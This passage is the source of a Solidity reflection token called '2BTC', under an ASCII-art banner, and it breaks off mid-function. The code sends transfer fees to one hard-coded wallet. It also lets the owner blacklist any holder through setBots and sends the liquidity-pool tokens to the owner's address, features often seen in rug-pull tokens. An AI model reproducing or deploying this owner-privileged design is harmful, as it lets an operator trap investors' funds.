...................................}}}}}}}}}}}}}(#%%%%%&&%%&&&&&&&&&&&&&&&&&&&&%%%%#######((((((((((((################((((((((((((((((((((((((((((((((((((((((((#(###%&&&&&&&&&%#((}}}}}}}}}}}}}}}}}}}}}
...................................}}}}}}}}}}}}(#%%%%%&&%%&&&&&&&&&&&&&&&&&&&&&%%%%######((((((###%%%%%%%%%%%%%%%%%%%%%%%%%%%####((((((((((((((((((((((((((##########%&&&&&&&&&%#((}}}}}}}}}}}}}}}}}}}}}
...................................}}}}}}}}}}}(#%%%%%%&&&&&&&&&&&&&&&%&&&&&&&&%%%#######(((###%%#%##################%%%%%%%%%%%%%%%#(((((((((((((####%%%%%%%%%%%%%%%%%&&&&&&&&%%##(}}}}}}}}}}}}}}}}}}}}}
...................................}}}}}}}}}}(#%%%%%%&&%&&&&&&&&&&&&&&&&&&&&&%%%######(((#######(((###((((((((((############%%%%%#%#(((((((((((##%%%%%%%%%%%%%%%#%%%%%&&&&&&&&&&%#(}}}}}}}}}}}}}}}}}}}}}
...................................}}}}}}}}}}#%%%%%%&&&%&&&&&&&&&&&&&&&&&&&&%%%#####(((((((((((#(#######(((((((((((################((((((((((###%%%%%###############%%&&&&&&&&%&%#(}}}}}}}}}}}}}}}}}}}}}
..................................}}}}}}}}}(#%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&%%%####((((((((((###########%%##((((#################(((((((((((#########################%&&&&&&&&%&%#((}}}}}}}}}}}}}}}}}}}}
..................................}}}}}}}}}##%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&%%%####(((((((((#######%%%##%%%%%%%%%#%%#############((((((((((((######################%%%%&&&&&&&&&&%#(}}}}}}}}}}}}}}}}}}}}}
................................}}}}}}}}}}#%%%%%%&&&%&&&&&&&&&&&&&&&&&&&&&&%%####(((((((((((((#####%&&&%%&&&%(&&&&%%%%%%######(((((((}}((((###############%###%%%%%%%&&&&&&&&&%&%#(}}}}}}}}}}}}}}}}}}}}}
...............................}}}}}}}}}}(%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&%%%###(((((((((((((((((((###%%#%&&%&&%&###(##%%%###((((((((}}}}((######%%&%&&&&%#%%&&&%%%%%&&&&&&&&&&%%#(}}}}}}}}}}}}}}}}}}}}}
..............................}}}}}}}}}}(%%#%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&%%####((((((((((((((((((((((#######%%############(((((((((((}}}((#####%&&&&&&%%###%%%&%%%%&&&&&&&&&&&%%#(}}}}}}}}}}}}}}}}}}}}}
..............................}}}}}}}}}(#%#%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&%####(((((((((((((}}}}(((((((((((#############(((((((((((((((}}(((########%%%%###%%%%%%%#%&&&&&&&&&&%%%#(}}}}}}}}}}}}}}}}}}}}}
............................}}}}}}}}}((####%%%%%&&&&&&&&&&&&&&&&&&&&@&&&&%%#####(((((((((((}}}}}}}}}(}}}((((((((((((((((((((((((((((((((}}((#######################%&&&&&&&&&&%&%#(}}}}}}}}}}}}}}}}}}}}}
........................}}}}}}}}}}}}((%%(#%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%######((((((((((}}}}}}}}}}}}}}(((((((((((((((}}}}}}((((((((((}}}(((((((##################&&&&&&&&&&&%%(}}}}}}}}}}}}}}}}}}}}}}
.......................}}}}}}}}}}}}((%#(#%%%&&%&&&&&&&&&&&&&&&&&&&&&&&&&&%%######(((((((((((}}}}}}}}}}}}}}((((((((((}}}}}}}}}}((((((((((}}}}(((((((((((((((#(#######&&&&&&&&&&&%%(}}}}}}}}}}}}}}}}}}}}}}
.}}}................}}}}}}}}}}}}}}(###(#%%%&%%&&&&&&&&&&&&&&&&&&&&&&&&&&&%%#######((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(((((((((((((}}}(((((((((((((((((((######&&&&&&&&&&&%#}}}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}}}....}}}}}}}}}}}}}}}}}}(%((#%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%########((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}(((((((((((((((}(}}(((((((((((((((((((#####&&&&&&&&&&&%#}}}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(##(((#%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%########((((((((((((}}}}}}}}}}}}}}}}}}}}}((((((((((((((((((}.}(((((((((((((((((((######&&&&&&&&&&%%(}}}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(##(((#%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%########(((((((((((((}}}}}}}}}}}}}}}((((((((((((((((((((((((((((((((((((((((((((#####%&&&&&&&&&&%#}}}}}}}}}}}}(((((((((((#
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((##(((#%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%########((((((((((((((}}(}}}}}}}((((((((((((##(((((((#(((((((((((#((((((((((((#####%&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%##%%#################%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%###########(((((((((((((}(((((((((((((((((((######%&&%%##(##((####((((((((((((#####%&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%
#%%%%%%%#%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%#############((((((((((((((((((((((((((((((((####################(((((((((((######%&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%################(((((((((((((((((((((((((((((((#################((((((((((######%&&&&&&&&&&&&&%%%%%%%%%&%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%##################((((((((((((((((((((((((((((((((((############(((((((((######%&&&&&&&&&&&&&%%%%%%%%%%%&&%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%#####################(((((((((((((((((((((((((((((((((##########(((((((#######%&&&&&&&&&&&&&&%%%%%%%%%%%&&%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%################################((((((((((((((((((((((((####################&&&&&&&&&&&&&&&%%%%%%%%%%%%%&&&%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%###############################(((((((((((((((((((((((((((################%&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%&&&%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%######################################((((((((((((((((((##############%#&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%&&&&%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%######################################(#############%%##############%&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%&&&%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%##############################%%%%%%%%%%%##%#####%%%%#####%%%#####%&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%&&&&&&%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%#################################%%%%%%%%%%%##############%####%&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%&&&&%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%#################################(##%%%#######(((((((((((###%&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%&&&&%%&%%&&%
%%%%%%%%%%%%%%%%%%%%%%%%&&%%%&&%%&%&%&&&&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%###############((((###############(##########(((((((((((##&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%&&&&&&&%%%%
%%%%%%%%%%%%%%%%%%%%&%&&&%%%&%%%%%&&&&&&%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%#############((((((###########%#################((((####%&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%&&&&&&&&%%
%%%%%%%%%%%%%%%%%%%%%%&%%%%%%%%%&&&&&&&%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%###########(((((((###########%#######################&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%&&&&&&&%%%
%%%%%%%%%%&%%%%%%%&&&%%%%%%%%%%%&&&&&&&%%&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%##########((((((((######################%######%&&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%&&&&&&&%%
%%%%%%%%%%%%%%&&&&&&&&%%%%%&&%%&&&&&&&%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%##############((((##########################%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%&&&&&&%%%
%%%%%%%%%%&%&&&&&&&&&&&&&%&&%&&&&&&&&&&&%%%&%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%######%#############((((#######################%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%&&&&%&%%
%%&%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%######################(((((###################%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&%
%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%########################((##################%&&&&&@&@&&&&&&&&&&&&&&&&&&&&&&&&&%&%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&
%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%##########################################%%%&&%%%&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&%&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%############################################%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%###############################%%%########%%%%%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%&%&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%######((###############%%%#############%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##%%%&&&&&&&&&%%%%%%&%%%%%%%%%%##########
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%#####(((((((#######################%%%%%%%%%%%%%%%%#####((((((((((#####################((((#####((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%######(((((((#(#################%%%%%%################((((((((((((((((((((((((((((((##((((##((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&%%####((((((((((((((((((####################(((####(((((((((}}}}}}}}}}}}}}}}((((((((((#(((((#(((((((((((((((((((((((((
&@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%#%%%%###((((((((((((((((((((((((####((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}((((((#(((((((((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&%%%########(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}}(((}}}}((((((((((#(((((((((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&%%#####(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((#((((((((((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%####((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((#((((((((((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%###((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%##(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%#####((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%##########(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}((((((((((((#((((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%##########################((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}}}}}}}(((((((((#(((((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%###((((((###((#((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}}}}}}((((((((((##(((((((((((((((((((((
&&&&&&&&&&&&&&&&&&&&&&&&&&&%%%%#(((((((((##(((((((((((((((((((((((((((((((((((((((((((((((((((((((}(}((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}}}}}}}}(((((((((((#(((((((((((((((((((((
@&&&&&&&&&&&&&&&&&&&&&%#####(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}((}}}}((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}}}}}((((}(((((((##(((((((((((((((((((
&&&&&&&&&&&%%&%%%%%####((##(((((((((}((((((((}((((((((((((((((((((((((((((((((((((((((((((((((((((}}}}((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}}}(}((((((((((((((##((((((#((((((((((
&&&&&&&&%&%%%%%######(((((((((((((}}}}}}}}}}}}}}}}((((((}((((((((((((((((((((((((((((((((((((((}}}}}}}}(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}((((}(((((}}(((((#########(((((((((
&&&&&&%%&%%###((((((((#(((}(((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((((((((((((((((((((((((((((}}}}}}}}}(((((((((((((((((((((((((((((((((((((((((((((((((((((}}}}}}}}}(((((((((((}}(((((#########((((((((
&&&&&&%%##(#(((((((((((((((}}}((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(}}(}((((((((((((((((((((}}}}}((((((((((((((((((((((((((((((((((((((((}}}}}}}}}}}}}}(}}}}}}}}}(((((((}((((}((((((###%####(((((((
&&&&%%####((((((}((((((((((}(}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(((((((((((((((((((}}}}}}(((((((((((((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}(((((((}(((((((((}((##%%%####((((((
&&&%####((((((((((((((((((}(}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((((((((((((((((((}}}}(((((((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(}(((((.}((((((((}(((#%%####((((((
&&%###(((((((((((((((((((((}((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((((((((((((((((}}}((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((.(}(}}((((}(((((}(}(#%%###((((((
&%###((((((((((((((((((((((((}}}}}}((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(((((((((((((((((}}((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(((((((((((((((((((((((((%%###((((((
&###((((((((((((((((((((}}(((}}}}}}}}((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(}((((((((((((((}(((((((((((((((}((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((}}((((}((((}((((#}}((((%#####((((
###((((#((((((((}(((((((((}((((}}}}}}}(}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(}}((((((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(((}(}(((}(((((((((((((((((((#####((((
##((((((((((((((((}(((((((((((((}(}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(((}}}}}}(((((((((((((((((((((((####(((
#(##(###((((}(((((((((}(((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((((((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}(((}((((}(((((((}(((}((((((((((((#####((
((#((#((((((((((((((((((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((((((((((((((((####((((((((((((((}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}((}}(}(}}(((((((((((((((((((((((#((#####(
*/
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TWOBTC is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeRewards = 2;
uint256 private _feeTeam = 3;
uint256 private _feeMarketing = 5;
address payable private _feeAddrMarketing;
address payable private _feeAddrTeam;
string private constant _name = "2BTC";
string private constant _symbol = "2BTC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrMarketing = payable(0xb73CD18E60f186aEA4e933CebA259Ad0442Be3c8);
_feeAddrTeam = payable(0xb73CD18E60f186aEA4e933CebA259Ad0442Be3c8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrMarketing] = true;
_isExcludedFromFee[_feeAddrTeam] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 marketingPecentage = _feeMarketing.mul(10000).mul(10**9).div(_feeMarketing.add(_feeTeam));
uint256 amountToMarketing = marketingPecentage.mul(amount).div(10000).div(10**9);
uint256 amountToTeam = amount.sub(amountToMarketing);
_feeAddrMarketing.transfer(amountToMarketing);
_feeAddrTeam.transfer(amountToTeam);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeRewards, _feeTeam.add(_feeMarketing));
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 feeTax, uint256 feeTeam) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(feeTax).div(100);
uint256 tTeam = tAmount.mul(feeTeam).div(100);
